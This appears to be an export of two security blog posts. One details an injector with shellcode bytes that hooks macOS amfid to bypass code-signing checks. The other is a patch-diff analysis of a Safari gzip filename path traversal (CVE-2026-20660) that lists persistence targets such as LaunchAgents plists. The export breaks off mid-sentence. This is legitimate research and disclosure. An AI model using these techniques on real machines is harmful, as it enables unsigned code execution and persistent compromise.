[{"content":"Background vphone-cli boots a real iOS 26 virtual machine on Apple Silicon Macs. It is not the Xcode Simulator (which compiles iOS apps for the host architecture); it uses Apple\u0026rsquo;s private Virtualization.framework PV=3 (Platform Version 3) APIs — the same infrastructure Apple built for Private Cloud Compute (PCC) security research VMs.\nUnder the hood, vphone-cli patches the entire iOS boot chain — AVPBooter, iBSS, iBEC, LLB, TXM, and the kernelcache — to bypass signature verification and allow a custom firmware to boot inside the VM. The jailbreak variant applies 127 binary patches across the boot chain and CFW installation, enabling full root/SSH/Sileo/TrollStore on the guest.\nThis is extremely cool. But it requires private entitlements that Apple never grants to third parties:\ncom.apple.private.virtualization com.apple.private.virtualization.security-research Because the binary is ad-hoc signed with these private entitlements, amfid will always reject it. The old workflow required two steps to get around this:\ncsrutil disable (disable SIP entirely) nvram boot-args=\u0026quot;amfi_get_out_of_my_way=1\u0026quot; (fully disable AMFI) That means disabling two core macOS security boundaries at the same time. In practice, this causes:\nBroken developer toolchains: JDK and Azure Functions Core Tools have runtime dependencies on system integrity protection. Disabling SIP directly breaks daily development workflows. Major security regression: with SIP + AMFI fully disabled, any process can tamper with system files, inject daemons, bypass filesystem protections, and execute arbitrary unsigned code. This is an unacceptable risk on a production development machine. I tried amfidont, a Python-based tool that uses debugserver breakpoints to intercept amfid validation. But in real usage it was not stable enough — launching binaries that require signature validation would frequently hang for extended periods, as breakpoint IPC latency caused request buildup in amfid.\nSo I wrote amfree: a C-based injector that installs a persistent in-process hook using ObjC runtime swizzling instead of debugserver breakpoint communication. Once installed, hook logic runs natively in amfid with zero IPC overhead and no additional latency. It only needs csrutil enable --without debug, not full SIP disable.\n1. The two-layer macOS code-signing architecture Code-signing enforcement is not a single module. It is executed by two independent layers:\nflowchart TD A[\"User runs ./binary\"] --\u003e B[\"Kernel execve()\"] B --\u003e C{\"AMFI.kext\\nkernel checks\"} C --\u003e|restricted entitlements\\ncom.apple.private.*| D[\"Direct SIGKILL\\nwithout amfid\"] C --\u003e|normal signature validation| E[\"MIG IPC to\\namfid daemon\"] E --\u003e F[\"amfid: validateWithError:\"] F --\u003e G{\"validation result\"} G --\u003e|\"YES + cdhash\"| H[\"execution allowed\"] G --\u003e|\"NO\"| I[\"execution denied\"] Key model:\nLayer Component What it checks Bypassable? Kernel layer AMFI.kext certificate chain for restricted entitlements No (even with SIP off) User-space layer amfid daemon code signature parsing, cdhash computation, entitlement validation Yes, this is the attack surface in this post The kernel trusts amfid replies on this path. If amfid says \u0026ldquo;valid\u0026rdquo; and returns the expected cdhash context, execution proceeds.\n2. Why common injection methods all fail For normal apps, macOS offers many familiar injection options. But amfid is a platform binary (Apple-signed system daemon), so multiple protection layers shut those paths down:\nflowchart TD subgraph \"Common injection approaches\" A[\"DYLD_INSERT_LIBRARIES\"] B[\"fishhook (rebind_symbols)\"] C[\"remote dlopen\"] D[\"inline code patch\"] E[\"on-disk Mach-O patch\"] end subgraph \"amfid defense layers\" P[\"Platform binary flag\\nkernel ignores DYLD env\"] Q[\"__TEXT page hash validation\\nper-page runtime checks\"] R[\"SIP-protected path\\n/usr/libexec/ not writable\"] S[\"Hardened runtime\\nrestrictive dlopen policy\"] T[\"dyld shared cache\\nmax_protection=R-X\"] end A --\u003e|\"ignored\"| P B --\u003e|\"targets GOT/lazy pointers, but Objective-C method dispatch is not GOT-based\"| Q C --\u003e|\"needs code execution first and fails before CS_DEBUGGED\"| S D --\u003e|\"one-byte patch can trigger\\nSIGKILL Invalid Page\"| Q E --\u003e|\"not writable\"| R DYLD_INSERT_LIBRARIES is ineffective for platform binaries dyld has hardcoded behavior for platform binaries: it drops all DYLD_* variables. This is not just SIP behavior. Even with SIP off, amfid still ignores your injected dylib.\nif (isRestricted || isPlatformBinary) { pruneEnvironmentVariables(envp, \u0026amp;apple); } fishhook / rebind_symbols: wrong attack surface fishhook rewrites lazy symbol pointers in __DATA (__la_symbol_ptr) for C-level linkage. But validateWithError: is an ObjC method dispatched through objc_msgSend method cache, not PLT/GOT.\nremote dlopen / dlsym: chicken-and-egg In theory, thread hijack + dlopen could load a hook dylib in amfid. In practice:\nUnsigned pages fail before CS_DEBUGGED is set. Hardened runtime constrains dynamic loading. You still need debugger-assisted setup anyway. Inline patching dies on code-page integrity checks For platform binaries, the kernel validates signed __TEXT pages at runtime. If any modified signed page executes, it can end in SIGKILL (Code Signature Invalid).\nCode page type Hash checked? Can CS_DEBUGGED bypass? Original signed code pages Yes No Newly allocated unsigned pages No original hash Yes, executable if policy allows CS_DEBUGGED allows execution of newly mapped unsigned pages. It does not legitimize tampering with already signed pages.\nOn-disk patching is blocked by system protections /usr/libexec/amfid is under SIP-protected system locations and SSV integrity model. Direct binary patching is not a practical route.\nSo what is left? The viable path is:\ntask_for_pid (csrutil enable --without debug + root) mach_vm_allocate fresh pages in amfid temporary debug attach to get CS_DEBUGGED thread hijack to execute class_replaceMethod in amfid context This edits ObjC runtime metadata (__DATA), not signed code pages.\n3. Why ObjC swizzle is the final choice Not viable: inline code patch Patching any byte in amfid __TEXT can trigger SIGKILL (Code Signature Invalid) when that page is executed.\nUsable but suboptimal: LLDB breakpoint path (amfidont style) Breakpoint interception works, but each validation requires debugger round-trips, increasing latency and management complexity.\nChosen approach: ObjC runtime swizzle class_replaceMethod() modifies runtime metadata in __DATA, not signed __TEXT pages. After installation, the hook runs entirely in amfid with native dispatch and no hot-path debugger IPC.\nflowchart LR subgraph \"__TEXT (RX)\" A[\"original code pages\"] end subgraph \"__DATA (RW)\" B[\"ObjC method tables\\nclass_rw_t\"] end subgraph \"new allocated pages (RX)\" C[\"hook shellcode\"] end B --\u003e|\"IMP pointer\"| C C -.-\u003e|\"blr original IMP\"| A 4. Core design: call-through hook Why direct interception failed A first attempt forced _isSigned=YES, _isValid=YES, and returned immediately. amfid did not crash, but binaries were still denied.\nReason: kernel-amfid interaction uses MIG protocol, and downstream validation expects state produced by the original path (including cdhash-related context). Skipping original logic can leave reply state incomplete.\nCall-through principle \u0026ldquo;Let Apple\u0026rsquo;s code compute everything; only change the final verdict when needed.\u0026rdquo;\nRun original validateWithError: first. Let original logic perform parsing/hash/state setup. If original is NO and path matches allowlist, flip final result to YES. sequenceDiagram participant K as Kernel AMFI.kext participant A as amfid participant H as Hook shellcode participant O as Original validateWithError: K-\u003e\u003eA: MIG validation request /path/to/binary A-\u003e\u003eH: objc_msgSend dispatch to hook H-\u003e\u003eO: blr x16 (call original IMP) O--\u003e\u003eH: return NO (+ state computed) Note over H: check allowlist path match alt matched H--\u003e\u003eA: return YES else not matched H--\u003e\u003eA: return original NO end A--\u003e\u003eK: MIG reply Hook flow in hook.S flowchart TD A[\"_hook_entry: save registers\\nx19=self, x20=_cmd, x21=err_ptr\"] --\u003e B[\"load data_page pointer\\nadrp + ldr (runtime patched)\"] B --\u003e C[\"blr x16: call original IMP\\nlet Apple path compute state\"] C --\u003e D{\"original returns YES?\"} D --\u003e|YES| E[\"return YES directly\"] D --\u003e|NO| F[\"load _code ivar\\nself + IVAR_CODE_OFFSET\"] F --\u003e G[\"SecCodeCopyPath\\nget binary path\"] G --\u003e H[\"CFURLGetFileSystemRepresentation\\nconvert to C string\"] H --\u003e I[\"compare with allowlist\\nline-by-line prefix match\"] I --\u003e J{\"path matched?\"} J --\u003e|YES| K[\"clear error, return YES\"] J --\u003e|NO| L[\"return original NO\"] 5. Injection flow in detail The full pipeline has 8 stages across injector/debugger/target:\nsequenceDiagram participant I as injector process participant M as Mach kernel participant D as debugserver participant A as amfid process Note over I: Step 1-2: locate target I-\u003e\u003eM: proc_listallpids -\u003e find amfid PID I-\u003e\u003eM: task_for_pid(amfid_pid) -\u003e task port Note over I: Step 3: ObjC resolve I-\u003e\u003eI: dlopen(AMFI framework) I-\u003e\u003eI: objc_getClass -\u003e class_getInstanceMethod -\u003e IMP Note over I: dyld shared cache addresses are process-consistent Note over I,A: Step 4: remote memory build I-\u003e\u003eM: mach_vm_allocate x3 (code/data/allowlist pages) I-\u003e\u003eA: remote_write hook shellcode -\u003e code_page I-\u003e\u003eA: remote_write API pointers -\u003e data_page I-\u003e\u003eA: remote_write path list -\u003e allowlist_page I-\u003e\u003eM: mach_vm_protect code-\u003eRX, allowlist-\u003eR Note over I,D: Step 5: start debugserver I-\u003e\u003eD: fork + exec debugserver --attach=amfid Note over A: CS_DEBUGGED set, unsigned new pages can execute Note over I,A: Step 6-8: thread hijack I-\u003e\u003eD: RSP save registers I-\u003e\u003eD: RSP set x0=cls, x1=sel, x2=code_page, x8=class_replaceMethod I-\u003e\u003eD: RSP set pc -\u003e setup_code I-\u003e\u003eD: RSP continue A-\u003e\u003eA: paciza x2 A-\u003e\u003eA: blr x8 (class_replaceMethod) A-\u003e\u003eA: brk #0xfed6 (trap back) I-\u003e\u003eD: RSP read return (old IMP) I-\u003e\u003eA: remote_write old IMP -\u003e data_page I-\u003e\u003eD: RSP restore registers I-\u003e\u003eD: RSP detach I-\u003e\u003eI: kill debugserver (CS_DEBUGGED is sticky) 6. Remote memory layout After injection, amfid contains three allocated pages:\n┌─────────────────────────────┐ ┌─────────────────────────────┐ ┌────────────────────────┐ │ Code Page (RX) │ │ Data Page (RW) │ │ Allowlist Page (R) │ ├─────────────────────────────┤ ├─────────────────────────────┤ ├────────────────────────┤ │ hook_entry: save regs │ │ 0x00: reserved │ │ /Users/me/dev/\\n │ │ adrp + ldr -\u0026gt; data_page │ │ 0x08: original IMP │ │ /opt/tools/\\n │ │ blr original IMP │ │ 0x10: SecCodeCopyPath │ │ (newline-separated │ │ allowlist matching logic │ │ 0x18: CFURLGetFileSystemRep │ │ list) │ │ _dp_slot: .quad data_page │ │ 0x20: CFRelease │ │ │ │ --- setup trampoline --- │ │ 0x28: allowlist size │ │ │ │ paciza x2 │ │ 0x30: allowlist ptr -\u0026gt; ────┼──┼──\u0026gt; │ │ blr x8 (class_replaceMethod)│ │ 0x100: type encoding string │ │ │ │ brk #0xfed6 │ │ │ │ │ └─────────────────────────────┘ └─────────────────────────────┘ └────────────────────────┘ Important details:\n_dp_slot at the end of code page is runtime-patched to data-page absolute address. SLOT_DATA_PAGE_PTR is extracted from hook.o via nm, not hardcoded. IVAR_CODE_OFFSET is extracted at build time via ivar_getOffset() probe. 7. arm64e PAC: the hardest constraint amfid runs in arm64e mode. Pointer Authentication (PAC) breaks naive function-pointer redirection.\nflowchart TD subgraph \"arm64e objc_msgSend fast path\" A[\"read IMP from method cache\"] --\u003e B[\"braa x16, x17\\n(authenticated branch)\"] B --\u003e C{\"PAC validation\"} C --\u003e|pass| D[\"branch to IMP\"] C --\u003e|fail| E[\"pointer zeroed\\nbranch to 0x0 -\u003e SIGSEGV\"] end subgraph \"our fix\" F[\"run paciza x2\\nin amfid context\"] --\u003e G[\"sign code_page address\"] G --\u003e H[\"class_replaceMethod\\nstores signed IMP\"] H --\u003e I[\"objc_msgSend braa passes\"] end Only one PAC instruction is essential in setup code:\nuint32_t setup_code[] = { 0xDAC123E2, /* paciza x2 */ 0xD63F0100, /* blr x8 (class_replaceMethod) */ 0xD43FDAC0, /* brk #0xfed6 */ }; paciza x2 signs the replacement IMP pointer in target context, so authenticated dispatch can succeed.\n8. CS_DEBUGGED: why unsigned new pages can execute code_page is allocated with mach_vm_allocate, so it has no code signature.\nBy default, kernel policy rejects executing unsigned pages in this context. During debug attach, CS_DEBUGGED is set and allows execution of newly allocated unsigned pages.\nCrucial point: CS_DEBUGGED is effectively sticky for process lifetime in this workflow. After hook installation and detach, execution of the installed hook can continue without a persistent debugger.\nstateDiagram-v2 [*] --\u003e Normal: amfid startup Normal --\u003e Debugged: debugserver attach Debugged --\u003e Hooked: class_replaceMethod installed Hooked --\u003e Running: resume target state Normal { [*] --\u003e normal signature validation } state Debugged { [*] --\u003e CS_DEBUGGED_set CS_DEBUGGED_set --\u003e unsigned_new_pages_executable } state Hooked { [*] --\u003e objc_method_table_modified objc_method_table_modified --\u003e hook_shellcode_executable } state Running { [*] --\u003e hook_persists hook_persists --\u003e debugger_can_exit } 9. Build-time automation Two build-time probes avoid version-fragile hardcoding:\nflowchart LR subgraph \"Build-Time Probes\" P[\"probe_ivar.m\\ncompile + run\"] --\u003e|\"ivar_getOffset(_code)\"| M[\"ivar_offset.mk\\nIVAR_CODE_OFFSET=...\"] H[\"hook.o\"] --\u003e|\"nm -\u003e _dp_slot\"| S[\"SLOT_DATA_PAGE_PTR=...\"] end subgraph \"Consumers\" M --\u003e ASM[\"hook.S\"] M --\u003e C1[\"hook_install.c\"] S --\u003e C1 end $(BUILD)/probe_ivar: shellcode/probe_ivar.m $(CC) -arch arm64 -lobjc -o $@ $\u0026lt; $(BUILD)/ivar_offset.mk: $(BUILD)/probe_ivar echo \u0026#34;IVAR_CODE_OFFSET=$$($(BUILD)/probe_ivar)\u0026#34; \u0026gt; $@ $(BUILD)/%.o: src/%.c $(BUILD)/hook.o DP_OFFSET=$$(nm $(BUILD)/hook.o | grep \u0026#39;_dp_slot\u0026#39; | awk \u0026#39;{print \u0026#34;0x\u0026#34;$$1}\u0026#39;); \\ $(CC) -DSLOT_DATA_PAGE_PTR=$$DP_OFFSET -DIVAR_CODE_OFFSET=$(IVAR_CODE_OFFSET) ... 10. Pitfalls encountered (full log) Pitfall 1: private framework was not auto-loaded find_method_imp: class AMFIPathValidator_macos not found\nThe framework exists in shared cache but is not auto-loaded into injector process. You must dlopen it explicitly.\nPitfall 2: ARM64 B has +-128MB range trampoline B offset out of range\nBoth directions (to hook and back to original) need absolute indirect branches when target distance is large.\nPitfall 3: shared cache page max protection blocks write remote_protect failed: protection failure\nNeed COW-style protection with VM_PROT_COPY to patch private copy (though text-page integrity still makes inline patch route unusable later).\nPitfall 4: ivar not initialized at hook entry Hooking too early on entry path can observe uninitialized fields, and relocating PC-relative prologue instructions can break addressing.\nPitfall 5: platform binary text integrity kills inline patch route SIGKILL (Code Signature Invalid) - Invalid Page\nThis is the decisive reason to abandon inline patching.\nPitfall 6: kernel and amfid are two different enforcement layers amfid alive but binary still denied indicates enforcement may be rejected in kernel path, not hook crash.\nPitfall 7: direct forced-YES skipped required original state Hook was called, but final execution still denied. This directly motivated call-through.\nPitfall 8: slot offset overlap silently corrupted runtime data Two logical slots sharing one offset can silently overwrite pointers and make hook appear ineffective.\nPitfall 9: method_setImplementation vs class_replaceMethod In this context, class_replaceMethod behaved more reliably with cache invalidation behavior.\nPitfall 10: compiling injector as arm64 does not remove PAC needs Setup machine code executes in target arm64e context, so PAC requirements still apply.\nPitfall 11: toll-free bridged classes can mislead swizzle testing Some seemingly ObjC calls route into CoreFoundation fast paths.\nPitfall 12: braa authenticated branch zeros invalid pointer Unsigned/incorrectly signed IMP may become 0x0 on branch authentication failure.\nPitfall 13: process-health diagnostics matter Comparing amfid PID and system logs is the fastest way to distinguish crash from logic rejection.\n11. End-to-end flow summary flowchart TD subgraph BUILD[\"Build stage\"] B1[\"probe_ivar.m -\u003e IVAR_CODE_OFFSET\"] B2[\"hook.S -\u003e hook.o\"] B3[\"nm hook.o -\u003e SLOT_DATA_PAGE_PTR\"] B4[\"compile all with -D values\"] B5[\"link -\u003e bin/amfree\"] B1 --\u003e B2 --\u003e B3 --\u003e B4 --\u003e B5 end subgraph INJECT[\"First injection\"] I1[\"find amfid PID + task_for_pid\"] I2[\"dlopen AMFI + resolve ObjC IMP\"] I3[\"remote_alloc x3\"] I4[\"remote_write shellcode/API/allowlist\"] I5[\"start debugserver -\u003e CS_DEBUGGED\"] I6[\"RSP save regs + set regs + continue\"] I7[\"target executes paciza -\u003e class_replaceMethod -\u003e brk\"] I8[\"RSP read result + write old IMP + restore\"] I9[\"detach + stop debugserver\"] I10[\"write state file /tmp/amfid_hook.txt\"] I1 --\u003e I2 --\u003e I3 --\u003e I4 --\u003e I5 --\u003e I6 --\u003e I7 --\u003e I8 --\u003e I9 --\u003e I10 end subgraph UPDATE[\"Incremental allowlist update\"] U1[\"read state file + verify PID\"] U2[\"task_for_pid\"] U3[\"read existing allowlist\"] U4[\"merge with new paths\"] U5[\"remote_alloc new allowlist page\"] U6[\"update data_page pointer + size\"] U1 --\u003e U2 --\u003e U3 --\u003e U4 --\u003e U5 --\u003e U6 end subgraph RUNTIME[\"Runtime\"] R1[\"binary validation request\"] R2[\"objc_msgSend -\u003e hook\"] R3[\"call-through original IMP\"] R4{\"original YES?\"} R5[\"return YES\"] R6[\"SecCodeCopyPath\"] R7{\"path in allowlist?\"} R8[\"flip to YES\"] R9[\"keep NO\"] R1 --\u003e R2 --\u003e R3 --\u003e R4 R4 --\u003e|YES| R5 R4 --\u003e|NO| R6 --\u003e R7 R7 --\u003e|YES| R8 R7 --\u003e|NO| R9 end BUILD --\u003e INJECT --\u003e RUNTIME INJECT -.-\u003e|\"state file\"| UPDATE UPDATE -.-\u003e|\"takes effect immediately\"| RUNTIME 12. Incremental updates without reinjection After first install, state is persisted (example):\npid=3882 data_page=0x104c50000 code_page=0x104c54000 old_imp=0x24197ee9c When running again with a new path, tool can update allowlist in place:\nverify recorded PID still maps to amfid task_for_pid read DP_ALLOWLIST_PTR / DP_ALLOWLIST_SIZE fetch existing allowlist merge paths allocate/write new allowlist page update pointer + size in data page No reinjection, no ObjC re-resolution, and no thread hijack required for this update path.\n# first install sudo amfree --path /Users/me/dev/ # append path without reinstall sudo amfree --path /opt/tools/ # inspect allowlist sudo amfree --list 13. Limitations Limitation Reason Cannot bypass kernel AMFI restricted entitlement checks Enforcement occurs in kernel layer Requires relaxed debug policy task_for_pid against system daemons needs root + debug allowance Not persistent across amfid restart Process-bound state and flags are lost when target process exits 14. Principles learned Platform binaries effectively close most familiar injection paths. Do not attempt to reimplement opaque closed-source internal state when call-through is possible. Always account for both branch directions and architectural range limits. Injector compile arch is not equal to target execution mode for raw machine code stubs. CS_DEBUGGED enables execution of new unsigned pages, not tampered signed pages. class_replaceMethod is generally safer than brittle inline patching in this target class. Build-time extraction is more robust than hardcoded offsets across OS updates. System logs are your primary AMFI debugging tool. ","permalink":"https://ret0.dev/posts/macos-amfi-bypass-objc-runtime-swizzle/","summary":"\u003ch2 id=\"background\"\u003eBackground\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/Lakr233/vphone-cli\"\u003evphone-cli\u003c/a\u003e boots a \u003cstrong\u003ereal iOS 26 virtual machine\u003c/strong\u003e on Apple Silicon Macs. It is not the Xcode Simulator (which compiles iOS apps for the host architecture); it uses Apple\u0026rsquo;s private \u003ccode\u003eVirtualization.framework\u003c/code\u003e \u003cstrong\u003ePV=3\u003c/strong\u003e (Platform Version 3) APIs — the same infrastructure Apple built for \u003ca href=\"https://github.com/apple/security-pcc\"\u003ePrivate Cloud Compute (PCC)\u003c/a\u003e security research VMs.\u003c/p\u003e\n\u003cp\u003eUnder the hood, vphone-cli patches the \u003cstrong\u003eentire iOS boot chain\u003c/strong\u003e — AVPBooter, iBSS, iBEC, LLB, TXM, and the kernelcache — to bypass signature verification and allow a custom firmware to boot inside the VM. The jailbreak variant applies 127 binary patches across the boot chain and CFW installation, enabling full root/SSH/Sileo/TrollStore on the guest.\u003c/p\u003e","title":"macOS AMFI Bypass: ObjC Runtime Swizzle in Practice"},{"content":"Vulnerability Overview CVE-2026-20660 is a path handling vulnerability in Apple\u0026rsquo;s CFNetwork framework that allows a remote attacker to write files to arbitrary locations on the victim\u0026rsquo;s filesystem by serving a malicious gzip file.\nField Details Component CFNetwork (macOS) Impact A remote user may be able to write arbitrary files Fix Description A path handling issue was addressed with improved logic Fixed In Safari 26.3 / macOS Sequoia 26.3 (2026-02-11) Discovered By Amy Vulnerability Class Path Traversal via Gzip FNAME header (RFC 1952) Trigger Condition Safari \u0026ldquo;Open safe files after downloading\u0026rdquo; enabled (on by default) Advisory Apple Security Release - Safari 26.3 Disclosure note: This is a 1-day analysis performed independently after Apple released the fix in Safari 26.3. The original vulnerability was discovered and reported by Amy. All testing was conducted on macOS with the affected version (Safari 26.2 / macOS 26.2.1) against locally controlled systems.\nPhase 1: Binary Acquisition and BinDiff Extracting CFNetwork from IPSW The CFNetwork framework was extracted from the dyld_shared_cache embedded in IPSW firmware images for iOS 26.2.1 (vulnerable) and iOS 26.3 (patched), using the ipsw tool.\nBoth extracted binaries are Mach-O 64-bit ARM64e (with PAC support). However, because they were extracted from the shared cache, the section offsets in their load commands point to addresses within the original shared cache rather than within the extracted file. This causes otool, objdump, and IDA Pro to fail during normal loading:\n$ file CFNetwork_26.2.1/CFNetwork Mach-O 64-bit arm64e (caps: PAC00) dynamically linked shared library $ otool -tV CFNetwork section offset for section (__TEXT,__text) is past end of file IDA Pro loaded both binaries as raw ROM segments instead of structured Mach-O files, resulting in no function names and no Objective-C metadata resolution.\nBinDiff Structural Comparison Despite the degraded analysis quality in IDA, BinDiff successfully matched 10,489 functions based on control flow graph structure. The vast majority had a similarity score of 1.0 (identical). Only approximately 20 functions had a similarity score below 1.0.\nBinDiff results are stored in a SQLite database, containing the matched function addresses in both old and new binaries, similarity scores, and instruction counts.\nPhase 2: Symbol Resolution via lief + capstone + BinDiff Cross-Reference Problem BinDiff only provided raw file offset addresses (e.g., sub_24C4A4). Because IDA did not parse the Mach-O structure, all functions were unnamed sub_XXXXX entries. These addresses needed to be mapped to their actual symbol names.\nSolution The Python lief library was used to parse the Mach-O symbol table directly. Unlike IDA with shared-cache-extracted dylibs, lief correctly handles the load commands and provides the complete exported symbol list, including C functions, C++ mangled names, and Objective-C methods.\nThe key address mapping relationship:\nBinDiff address = IDA flat address = file offset (IDA loaded the binary as ROM starting at 0x0) lief symbol address = virtual address (vaddr) vaddr = __TEXT segment base + file offset Therefore: symbol name = lief.symbols[BinDiff_address + __TEXT_base]\nimport lief binary = lief.parse(\u0026#39;CFNetwork_26.2.1/CFNetwork\u0026#39;) # __TEXT segment: vaddr=0x197cdc000, fileoff=0x0 TEXT_BASE = 0x197cdc000 # BinDiff address 0x24C4A4 -\u0026gt; vaddr 0x197F284A4 vaddr = TEXT_BASE + 0x24C4A4 symbol_name = symbols[vaddr] # -\u0026gt; \u0026#34;-[NSGZipDecoder filenameWithOriginalFilename:]\u0026#34; Complete Symbol Resolution of Changed Functions After mapping all functions with similarity \u0026lt; 1.0 to their symbol names and filtering out loader stubs (gotLoadHelper, delayInitStub), the meaningful changes were:\nSimilarity Instructions Symbol Category 0.088 \u0026ndash; BaseAwaitingTube::BaseAwaitingTube Connection layer 0.229 \u0026ndash; resolveTubeType Connection layer 0.356 \u0026ndash; ConnectionProtocolRemoveInputHandler Connection layer 0.406 \u0026ndash; PAC::rlsCancel Proxy Auto-Config 0.653 \u0026ndash; TubeManager::addNewFastPathCache Connection layer 0.889 112 -[NSGZipDecoder filenameWithOriginalFilename:] Filename handling 0.906 278 PAC::CreatePACTicket Proxy Auto-Config 0.992 490 -[__NSCFURLProxySessionConnection didCompleteWithError:] Session callback 0.976\u0026ndash;0.993 \u0026ndash; Various NWIOConnection, TubeManager functions Connection/transport The only changed function related to filename or path handling is [NSGZipDecoder filenameWithOriginalFilename:].\nRuling Out Other Filename Functions To confirm no relevant changes were missed, capstone was used to disassemble and compare instruction counts for all filename-related functions:\nFunction OLD Instructions NEW Instructions Delta _createSanitizedFileNameFromString 300+ 300+ 0 _createFilenameFromContentDispositionHeader 500+ 500+ 0 _CFURLResponseCopySuggestedFilename 48 48 0 URLResponse::copySuggestedFilename 239 239 0 URLDownload::_internal_copySuggestedFilenameFromOriginalFilename 82 82 0 GZipDownloadDataDecoder::createFilenameWithOriginalFilename 120 120 0 All Content-Disposition parsing and filename construction functions were byte-identical, confirming the vulnerability is not in the HTTP header parsing layer.\nPhase 3: Root Cause Analysis via ARM64 Disassembly Comparison Disassembly Method Both versions of [NSGZipDecoder filenameWithOriginalFilename:] were disassembled using capstone (ARM64 disassembler). Due to the shared-cache extraction offset mapping, file offsets were calculated as:\nfile_offset = vaddr - __TEXT_segment.vaddr # OLD: 0x197F284A4 - 0x197CDC000 = 0x24C4A4 # NEW: 0x198099394 - 0x197E4D000 = 0x24C394 Call Sequence Comparison Each BL (branch-and-link) instruction target was resolved to its corresponding Objective-C dispatch stub symbol via lief:\nOld version (26.2.1) \u0026ndash; vulnerable:\nobjc_msgSend$copy @ 0x198088e40 \u0026lt;- copy filename objc_msgSend$length @ 0x19808b900 \u0026lt;- check length objc_msgSend$pathExtension @ 0x19808c460 \u0026lt;- get extension objc_msgSend$lowercaseString @ 0x19808ba40 \u0026lt;- normalize case objc_msgSend$isEqualToString: @ 0x19808b560 \u0026lt;- compare extension objc_msgSend$stringByDeletingPathExtension @ 0x198091240 \u0026lt;- strip .gz objc_msgSend$stringByAppendingPathExtension @ 0x198091200 \u0026lt;- add replacement extension No call to lastPathComponent.\nNew version (26.3) \u0026ndash; patched:\nobjc_msgSend$length @ 0x1981fd3c0 objc_msgSend$pathExtension @ 0x1981fdf20 objc_msgSend$lowercaseString @ 0x1981fd500 objc_msgSend$isEqualToString: @ 0x1981fd020 objc_msgSend$stringByDeletingPathExtension @ 0x198202d00 objc_msgSend$stringByAppendingPathExtension @ 0x198202cc0 objc_msgSend$lastPathComponent @ 0x1981fd3a0 \u0026lt;- ADDED A lastPathComponent tail call was added.\nControl Flow Difference Old version \u0026ndash; return path:\n; If NSGZipDecoder has a filename (read from gzip FNAME header) and its length is non-zero: 0x197f284d0: bl objc_msgSend$length ; check length 0x197f284d4: cbz x0, ... ; length == 0 -\u0026gt; fall through to pathExtension branch 0x197f284d8: mov x0, x20 ; length != 0 -\u0026gt; return filename directly 0x197f284e4: retab ; \u0026lt;- BUG: no path sanitization New version \u0026ndash; return path:\n0x1980993c0: bl objc_msgSend$length 0x1980993c4: cbnz x0, #0x198099408 ; length != 0 -\u0026gt; jump forward ; ... (pathExtension branch, which also reaches 0x198099408) 0x198099408: mov x0, x20 0x198099414-0x198099424: epilog 0x198099424: b objc_msgSend$lastPathComponent ; \u0026lt;- tail call to strip directory components All exit paths now pass through a lastPathComponent tail call, ensuring directory traversal components are stripped from the filename.\nPhase 4: Determining the Attack Vector The Wrong Direction: Content-Disposition The first PoC attempt embedded ../ path traversal sequences in the HTTP Content-Disposition header. Testing on Safari 26.2 showed the file was saved as _.._cve-2026-20660-proof.txt.gz:\n../ was replaced with _.._ by Safari\u0026rsquo;s download manager \u0026ndash; Safari already sanitizes HTTP header filenames. The .gz extension was preserved \u0026ndash; NSGZipDecoder was never invoked for decompression. This confirmed that path traversal cannot be triggered through Content-Disposition.\nThe Correct Vector: Gzip FNAME Header The gzip format defined in RFC 1952 includes an optional FNAME field (FLG bit 3) that stores the original filename. This filename is embedded inside the gzip file body and is not subject to HTTP-layer sanitization.\nNSGZipDecoder reads the FNAME field when decompressing a .gz file and passes it through filenameWithOriginalFilename: to determine the output filename.\nAttack flow:\nsequenceDiagram participant A as Attacker Server participant S as Victim Safari (\u003c 26.3) A-\u003e\u003eS: HTTP ResponseContent-Type: application/gzipContent-Disposition: filename=\"report.gz\" ← clean[gzip body with FNAME=\"../../proof.txt\"] ← malicious Note over S: 1. Safari saves report.gzto ~/Downloads/ Note over S: 2. \"Open safe files\"triggers NSGZipDecoder Note over S: 3. NSGZipDecoder readsFNAME: \"../../proof.txt\" rect rgb(255, 200, 200) Note over S: OLD version (vulnerable)output = \"../../proof.txt\"~/Downloads/../../proof.txt= ~/proof.txt ← ESCAPED end rect rgb(200, 255, 200) Note over S: NEW version (patched)lastPathComponent → \"proof.txt\"~/Downloads/proof.txt ← safe end Constructing the Gzip FNAME Field RFC 1952 gzip header layout:\n+---+---+---+---+---+---+---+---+---+---+ |ID1|ID2|CM |FLG| MTIME |XFL|OS | +---+---+---+---+---+---+---+---+---+---+ 1f 8b 08 08 ...timestamp... 00 ff FLG bit 3 = FNAME: if set, a null-terminated original filename string follows immediately after byte 10 of the header. Phase 5: Observed Behavior on macOS Safari 26.2 Testing on macOS Safari 26.2 revealed the following behaviors:\nPath Traversal Depth NSGZipDecoder performs decompression not directly in ~/Downloads/, but in a temporary subdirectory beneath it. Consequently:\ndepth=1 (../pwn.sh) only escapes the temporary subdirectory; the file remains within ~/Downloads/. depth=2 (../../pwn.sh) is required to reach ~/. File Permissions After Decompression $ ls -la ~/pwn.sh -rwx------@ 1 user staff 25 Mar 9 22:32 pwn.sh Decompressed .sh files automatically received executable permissions (-rwx------). This means attacker-planted scripts do not require the victim to manually run chmod +x, substantially lowering the barrier from arbitrary file write to code execution.\nNote: The exact source of the executable permission requires further investigation \u0026ndash; it may originate from Unix permission bits preserved in the gzip metadata, or from macOS applying default executable permissions to script files.\nNo Overwrite of Existing Files If a file already exists at the target path, Safari does not overwrite it; instead, it renames the new file with a numeric suffix (e.g., pwn-2.sh). This means:\nFirst-time writes to a target path succeed. Existing files such as .zshrc or authorized_keys cannot be tampered with. However, new files can be created in sensitive directories (e.g., ~/.ssh/) provided the directory exists and the target filename is not already taken. High-Impact Exploitation Scenarios Given the \u0026ldquo;create but not overwrite\u0026rdquo; constraint, the most valuable attack targets are writing new files into sensitive directories:\nTarget Path FNAME (depth=2) Impact ~/Library/LaunchAgents/com.evil.plist ../../Library/LaunchAgents/com.evil.plist Persistent code execution on user login (plist format) ~/.ssh/authorized_keys ../../.ssh/authorized_keys (only if .ssh/ already exists) Unauthorized SSH access ~/pwn.sh ../../pwn.sh Executable script planted with +x permissions (verified) LaunchAgents represents the highest-impact target: the directory typically already exists, plist filenames can be chosen arbitrarily (avoiding conflicts), and macOS automatically executes all plist-defined tasks in this directory at user login.\nImpact Analysis macOS (Affected) Files can be written outside ~/Downloads/ to arbitrary user-accessible locations. Highest-impact scenarios:\n~/Library/LaunchAgents/ \u0026ndash; write a plist to achieve persistent code execution at user login (primary target). ~/.ssh/authorized_keys \u0026ndash; add an 